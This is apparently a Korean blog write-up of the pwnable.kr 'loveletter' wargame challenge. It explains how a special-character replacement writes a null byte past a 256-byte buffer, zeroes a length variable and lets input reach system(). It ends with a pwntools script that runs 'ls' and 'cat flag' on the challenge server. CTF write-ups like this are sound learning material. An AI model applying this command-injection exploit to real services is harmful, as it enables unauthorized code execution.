<Wargame & CTF>/Pwnable.kr

[Pwnable.kr] loveletter

gosoeungduk 2021. 6. 7. 23:50
반응형

#Pwnable.kr #loveletter #Rookiss


title

loveletter 문제이다.

logic1

main 함수의 처음 부분이다. 전역변수 loveletter 256 바이트를 0으로 셋팅 해놓고, epilogprolog 문구의 길이를 산출해내어 지역변수에 저장해놓는다. 해당 전역변수들은 후에 사용된다.

그리고 256 바이트짜리 배열 s 에 값을 입력받는다. 취약점 촉발의 시작이다.

그리고 protect 함수에 s 를 집어 넣고 "약간" 의 s 배열 손질을 한다.


protect 함수에서의 문제

logic2

로직은 대강 이러한데 strcpy 부분에 있는 특수문자 목록에 있는 문자가 s 에 있으면 즉시 멈춰서 해당 부분에 0xA599E2 를 때려박는다.

logic3

이 부분은 정확히 3바이트를 넣는 것처럼 보이지만, 디버거에서 보면 dword 단위로 전달하여, 결론적으로 0x00A599E2 값을 전달한다.

한 바이트의 0x00 은 어떤 결과를 낳을까? 해당 부분을 디버깅 해보자.

exploit1

위에서 본 어셈코드 부분에서 멈췄다. 0x00A599E2 가 덮이기 전인데, s[253] 에 '#' 이 들어간 상황이다.
그러면, s[256] 에는 null 바이트가 들어갈텐데, 해당 부분은 배열 s 의 정상범위 영역이 아니다. 그러면 그곳에는 무엇이 있을까?

위 사진에 보이듯이 0x0000000c 값이 존재한다. 이 값은 우리가 맨처음 보았던 v5 = strlen(prolog); 코드에서의 v5 값이다.

이 길이 값이 0x00 이 된다면, 취약점이 터지게 되는데

exploit2

처음 memcpy 에서 idx 는 초기값이 0 이므로 loveletter 에 길이 0 만큼 memcpy 를 한다음, 우리가 임의로 입력한 s 문자열을 loveletter 에 다시 넣는 꼴이 된다.

그리고 이 loveletter 결과를 system 함수로 실행시키는데, 만약 s 값을 /bin/sh\x00 같은 것을 했다면 쉘이 켜질 것이다.

여기서 근데 문제가 생긴다. /bin/sh\x00 값을 fgets 로 최초 전달할 때, 길이 254를 채우지못하고 널바이트 까지만 입력을 받아버리는 것이다. 그러면 일단 쉘은 절대로 못키고, 파일이나 열람해보고자 ls 를 시도한 후, 플래그를 읽어냈다.

아래는 익스코드!

from pwn import *
def ex(command):
    s=remote("pwnable.kr",9034)
    pay=command
    pay+=b" "*(254-1-len(pay))
    pay+=b"#" # overwrite size value
    print(pay)
    s.sendline(pay)
    tmp=s.recvuntil("my mind...")
    print(tmp.decode())
    s.close()
#===<phase 1>===#
'''
Because NULL byte can't join in payload,
"/bin/sh" is not correct.

So, We can use "ls" command to find 
which files are in remote enviorment.
'''
ex(b"ls -al . ")

#===<phase 2>===#
'''
We could find 'flag' file. Let's READ!!
'''
ex(b"cat flag")
반응형

'<Wargame & CTF> > Pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] brainfuck  (0) 2021.05.30
[Pwnable.kr] horcruxes  (0) 2021.05.30
[Pwnable.kr] blukat  (0) 2021.05.30
[Pwnable.kr] asm  (0) 2021.05.29
[Pwnable.kr] memcpy  (0) 2021.05.29